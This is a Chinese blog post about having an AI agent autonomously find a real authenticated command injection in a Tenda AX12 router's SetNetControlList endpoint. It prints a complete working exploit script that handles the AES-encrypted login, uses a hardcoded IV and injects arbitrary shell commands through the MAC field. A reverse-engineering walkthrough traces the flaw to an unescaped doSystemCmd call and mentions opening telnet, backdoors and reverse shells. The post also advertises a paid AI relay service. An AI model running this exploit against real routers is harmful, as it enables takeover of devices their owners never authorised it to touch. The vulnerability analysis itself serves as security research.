断更好久了,今天突然复活一下,粉丝投稿了一个关于AI安全的小案例,感觉还挺有意思...
起因
最近心血来潮,突然想接触一些关于IOT相关的内容,但是由于之前基本没有怎么接触过,基础有限。最近又刷到各种AI agent,AI CTF相关的内容,于是就想试试能不能让我一个没怎么接触过IOT的人,使用AI去挖掘到我的第一个IOT相关的漏洞。
环境准备
1. AI中转
我用的是 VeryToken( https://verytoken.vip )这个AI中转站进行模型调用。费用和稳定性都还不错,换算下来 GPT-5.4 每百万Token只需要0.45元人民币,对于平时跑跑这种自动化审计任务,性价比相当高了。

2. 目标准备
目标设备是一台家里闲置吃灰的腾达路由器,直接接在本地环境里当靶机用。设备本身没有任何防范,正好适合做渗透测试。

漏洞复现
1. Prompt提示词
为了测试 AI 的极限,我决定完全不人工干预,只给一段详细的提示词,让它全自动闭环完成。具体提示词如下:
用 $ctf-sandbox 这个 skill 来完成接下来的 CTF-IOT 挑战。已知 http://192.168.111.1/ 是路由器管理员地址,唯一知道的信息是管理员密码为 88888888,这个路由器为本地测试环境,可以做任何测试。
你需要自己获取到该设备的固件版本(已知型号是 tenda-AX12),并去网上找到相关版本固件,下载到本地并解压。对解压后的文件系统进行审计,所需二进制文件分析,必须使用 IDA 打开并通过 IDA-MCP 进行审计,找到 RCE 漏洞,并在当前本地路由器测试环境验证。
所有的分析必须经过实际 IDA 的代码审计,不允许随意猜测或从网上寻找相关漏洞资料。验证方式为执行 sleep x,根据响应延迟判断漏洞是否存在。如果遇见高置信漏洞但 sleep 无法测试的话,可以采用执行 wget 或者 curl 的方式,请求本机的一个端口,本机检测是否有请求过来。
最终给我一个 exp.py 和 wp.md 帮我完成这个 CTF 挑战。

喂完这段话后我就直接把窗口挂后台,去洗漱睡觉了。其实心里也没底,不知道 AI 到底能不能自主把 固件下载 -> 解包 -> 逆向审计 -> 漏洞利用 这一整条链跑通。
2. 结果
第二天一早醒来,AI 已经在凌晨左右完成了任务。它不仅整理好了一份完善的攻击脚本 exp.py,还输出了一份非常详细的技术文档 wp.md。
文档里记录了它研究的全过程:从登录设备获取固件版本,到匹配官方固件并解包,再到把关键二进制文件扔进 IDA 进行反汇编审计,最终定位到了一个真实存在的命令注入漏洞。虽然整个流程耗时接近 3 个小时,但考虑到这是完全无人值守、且 AI 独立完成了跨二进制文件(httpd 到 libtd_server.so)的数据流追踪,我已经非常满意了。看到终端直接弹出设备的 root shell,有一种马上要被 AI 取代的既视感。

3. 花费
任务是从晚上十点多开始,使用 GPT-5.4 模型一直跑到凌晨 1:23 结束。查看了下 API 调用的消耗记录,各个时间段的费用分布很清晰。最终的曲线图显示,一小时花费最高的时段是在深夜里进行深度逆向推理的时候。

简单算了一笔账:
- 第一小时:0.23 元
- 第二小时:0.60 元
- 第三小时:1.01 元
- 第四小时:0.27 元
- 总计:2.11 元
两块钱买了一个 IOT 设备的 Root RCE,这买卖,我只能说无敌。
EXP
AI 帮我们生成的实际利用脚本逻辑非常清晰。这里整理一下关键技术点:我们需要先解决路由器的认证加密问题。Tenda 这套方案使用了 AES-CBC 加密通信,但 IV 密钥是硬编码在程序里的。我们基于这个特征构造了 AX12Client 类,在登录后提取出 sign 密钥,然后通过对 /goform/SetNetControlList 接口发送精心构造的 payload 来触发命令执行。
下面是完整的利用脚本:
#!/usr/bin/env python3
import argparse
import base64
import hashlib
import json
import time
from urllib.parse import urljoin
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
IV = b"EU5H62G9ICGRNI43"
class AX12Client:
def __init__(self, base_url, password, timeout=10):
self.base_url = base_url.rstrip("/") + "/"
self.password = password
self.timeout = timeout
self.session = requests.Session()
self.sign = None
def url(self, path):
return urljoin(self.base_url, path.lstrip("/"))
def login(self):
digest = hashlib.md5(self.password.encode()).hexdigest()
r = self.session.post(
self.url("/login/Auth"),
data={"username": "admin", "password": digest},
allow_redirects=False,
timeout=self.timeout,
)
if r.status_code not in (200, 302):
raise RuntimeError(f"login failed: HTTP {r.status_code}")
r = self.session.get(self.url("/goform/stokCfg"), timeout=self.timeout)
r.raise_for_status()
data = r.json()["stokCfg"]
self.sign = data["sign"].encode()
return data
def encrypt(self, body):
if self.sign is None:
raise RuntimeError("not logged in")
cipher = AES.new(self.sign, AES.MODE_CBC, IV)
return base64.b64encode(cipher.encrypt(pad(body.encode(), AES.block_size))).decode()
def decrypt_response(self, text):
try:
obj = json.loads(text)
except json.JSONDecodeError:
return text
if "data" not in obj:
return text
cipher = AES.new(self.sign, AES.MODE_CBC, IV)
return unpad(cipher.decrypt(base64.b64decode(obj["data"])), AES.block_size).decode()
def get_form(self, path):
r = self.session.get(self.url(path), timeout=self.timeout)
r.raise_for_status()
return self.decrypt_response(r.text)
def post_form(self, path, body, timeout=None):
timeout = self.timeout if timeout is None else timeout
encrypted = self.encrypt(body)
start = time.monotonic()
r = self.session.post(self.url(path), data=encrypted, timeout=timeout)
elapsed = time.monotonic() - start
r.raise_for_status()
return elapsed, self.decrypt_response(r.text)
def detect_version(client):
data = json.loads(client.get_form("/goform/GetSystemStatus"))
return data.get("adv_firm_ver"), data.get("adv_hard_ver")
def build_netcontrol_body(cmd=None, dev_name="dev", limit_up=128, limit_down=128):
mac = "00:11:22:33:44:55"
if cmd:
mac = f"0;{cmd};#aa"
return f"list={dev_name}\r{mac}\r{int(limit_up)}\r{int(limit_down)}"
def post_netcontrol(client, body, timeout=20):
start = time.monotonic()
try:
elapsed, resp = client.post_form("/goform/SetNetControlList", body, timeout=timeout)
print(f" SetNetControlList response: {elapsed:.2f}s {resp}")
return elapsed, resp, False
except requests.exceptions.ReadTimeout:
elapsed = time.monotonic() - start
print(f"[!] SetNetControlList timed out after {elapsed:.2f}s; command may still have executed")
return elapsed, None, True
def exploit_sleep(client, seconds):
body = build_netcontrol_body(cmd=f"sleep {int(seconds)}")
elapsed, _, _ = post_netcontrol(client, body, timeout=max(15, seconds + 10))
if elapsed >= max(1, seconds - 0.75):
print(f"[+] RCE verified by delay: expected ~{seconds}s, observed {elapsed:.2f}s")
return True
print(f"[-] no convincing delay: expected ~{seconds}s, observed {elapsed:.2f}s")
return False
def exploit_cmd(client, cmd, timeout=20):
body = build_netcontrol_body(cmd=cmd)
elapsed, resp, timed_out = post_netcontrol(client, body, timeout=timeout)
if timed_out:
print("[+] payload sent; HTTP timed out, please verify by side effect")
else:
print(f"[+] payload sent in {elapsed:.2f}s, response: {resp}")
def main():
parser = argparse.ArgumentParser(description="Tenda AX12 authenticated RCE verifier for SetNetControlList command injection")
parser.add_argument("-u", "--url", default="http://192.168.111.1/", help="router base URL")
parser.add_argument("-p", "--password", default="88888888", help="admin password")
parser.add_argument("--sleep", type=int, default=5, help="sleep seconds for timing verification")
parser.add_argument("--cmd", help="run an arbitrary shell command through SetNetControlList")
parser.add_argument("--timeout", type=int, default=20, help="HTTP timeout for the exploit request")
args = parser.parse_args()
client = AX12Client(args.url, args.password)
stok = client.login()
print(f" logged in, stok={stok.get('stok')} sign={stok.get('sign')}")
version, hardware = detect_version(client)
print(f" device firmware={version} hardware={hardware}")
if args.cmd:
exploit_cmd(client, args.cmd, timeout=args.timeout)
else:
ok = exploit_sleep(client, args.sleep)
raise SystemExit(0 if ok else 1)
if __name__ == "__main__":
main()
成功执行脚本后,我们就能在目标机器上开启 Telnet 服务并获取到入口,一切如预想般丝滑。

分析报告
回过头来复盘一下 AI 给出的逆向分析文档,它把这条漏洞链梳理得确实非常漂亮,即使是我这样刚接触 硬件安全与逆向分析 的新手也能看懂。这个漏洞本质上是 跨进程、异步的认证后命令注入,调用链比常规漏洞稍长。
首先在 Web 服务程序 httpd 中定位接口注册点。在 httpd::sub_41DE60 里,系统注册了:
sub_40A144("SetNetControlList", sub_43FDCC);

接着跟进核心处理函数 sub_43FDCC。从伪代码可以直观看到,接口从请求中读取参数 list;真正危险的地方在于它并非同步执行,而是通过 fork() 产生的子进程去调用了 set_tc_rule()。这直接导致:我们不能单靠 HTTP 响应时间来判断漏洞是否存在,因为恶意命令是在后台跑的。

我们再深入解析一下 list 参数的格式。在 sub_43FBBC 中,AI 精准地识别出了格式化解析逻辑:
sscanf(v14, "%[^\r]\r%[^\r]\r%[^\r]\r%s", v15, v13, v12, v11);
这意味着 list 的一条记录被用 \r 分隔符切割成了四个字段:
设备名 \r MAC地址 \r 上行速率 \r 下行速率

在 sub_43F8DC 这里,解析出的 MAC 字段(也就是 a2)被直接写入了 qos.@device_rule[%d].mac 并执行了 CfgCommit("qos")。这一步非常关键,攻击者可控的输入此刻不再只是内存里的临时数据,而是被持久化进了设备的配置文件 UCI 里。
数据流在此非常明确:
HTTP list -> parsed mac -> qos.@device_rule.mac

接下来的舞台从 httpd 切换到了另一个核心系统守护进程 libtd_server.so。在 set_tc_rule() 函数内部,会出现关键的读回操作:
qos_rule_config = get_qos_rule_config((int)v13);
这一步完美验证了:之前被污染的持久化配置,现在又被重新从文件里读进了内存,并即将流向流量控制的核心逻辑。这证实了攻击数据流并未中断。

紧接着,get_qos_rule_config 会以 48 字节为固定步长,遍历所有 device_rule 条目。紧随其后的 add_tc_traffic_control() 收到的第二个参数 a2,正是当前条目的起始地址(也就是存有我们恶意 MAC 的起始指针)。

进入 add_tc_traffic_control() 函数内部,参数映射关系已经毫无疑义:
a2 = mac
a3 = limit_up
a4 = limit_down
至此,攻击者可控的 MAC 字段和最终的危险函数参数彻底建立起了映射。

最致命的一击在下面这张图里。在构造 iptables 命令时,a2(也就是我们修改过的 mac)竟然被原封不动地用 %s 拼接进了 Shell 命令字符串,既没有做任何转义处理(shell escaping),也没有校验 MAC 地址的标准格式。最终通过 doSystemCmd() 执行。
这为任意命令注入敞开了大门。只要我们在 MAC 字段里塞入 ;、# 等 Shell 元字符,就能截断原本的 iptables 规则,接上我们自己的恶意命令,例如开启远程后门或者反弹 Shell。至此,漏洞利用链 完美闭环。

结语
回顾这一次实验,AI 在真实的 二进制审计与逆向 场景中完全做到了自主闭环,并且最终开销仅仅是 2.11 元人民币。
现在大模型的能力真的已经能支撑很大一部分繁杂的安全研究工作。大家如果有兴趣的话,真的可以多去尝试一下。不必因为 AI 的进化而陷入焦虑,作为安全从业者,我们应该学会拥抱安全,并拥抱 AI 带来的效率倍增。如果大家对 AI 挖洞这一块还有兴趣,后续我还会继续更新相关的实战系列。如果你有关于 AI + 安全的新奇思路或闭坑经验,也欢迎来 云栈社区 和我们一起交流碰撞!